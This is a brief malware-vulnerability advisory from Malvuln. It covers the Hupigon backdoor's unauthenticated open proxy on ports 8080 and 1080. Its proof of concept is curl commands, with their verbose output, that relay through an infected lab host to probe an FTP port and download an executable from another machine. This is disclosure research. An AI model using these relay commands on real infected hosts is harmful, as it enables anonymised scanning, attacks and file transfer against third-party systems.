Backdoor.Win32.Hupigon.aiss Unauthenticated Open Proxy

`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/79affcb4051d36dde3d1543a4fd88368.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Hupigon.aiss  
Vulnerability: Unauthenticated Open Proxy  
Description: The malware listens on TCP ports 8080, 1080 and drops its executable under Windows dir. Third-party attackers who can connect to the infected system can relay requests from the original connection to the destination and then back to the origination system. Attackers may then be able to launch attacks, download files or port scan third party systems and it will appear as the attacks originated from that infected host.  
Type: PE32  
MD5: 79affcb4051d36dde3d1543a4fd88368  
Vuln ID: MVID-2021-0270  
Dropped files: Hacker.com.cn.exe  
Disclosure: 07/03/2021  
  
Exploit/PoC:  
Scan port 21)  
  
curl http://192.168.18.129:8080 -H "Host: 192.168.18.128:21" -v  
Rebuilt URL to: http://192.168.18.129:8080/  
Trying 192.168.18.129...  
TCP_NODELAY set  
Connected to 192.168.18.129 (192.168.18.129) port 8080 (#0)  
GET / HTTP/1.1  
Host: 192.168.18.128:21  
User-Agent: curl/7.55.1  
Accept: */*  
  
220 INetSim FTP Service ready.  
500 Unknown command.  
  
Download filez)  
  
curl http://192.168.18.129:8080/DOOM.exe -H "Host: 192.168.18.128" -v --out DOOM.exe  
  
* Trying 192.168.18.129...  
  
GET /DOOM.exe HTTP/1.1  
Host: 192.168.18.128  
User-Agent: curl/7.55.1  
Accept: */*  
  
HTTP 1.0, assume close after body  
HTTP/1.0 200 OK  
Server: SimpleHTTP/0.6 Python/2.7.6  
Date: Fri, 02 Jul 2021 02:03:28 GMT  
Content-type: application/x-msdos-program  
Content-Length: 103533  
Last-Modified: Sat, 03 Aug 2019 04:57:12 GMT  
  
{ [102194 bytes data]  
100 101k 100 101k 0 0 101k 0 0:00:01 --:--:-- 0:00:01 927k  
* Closing connection 0  
  
  
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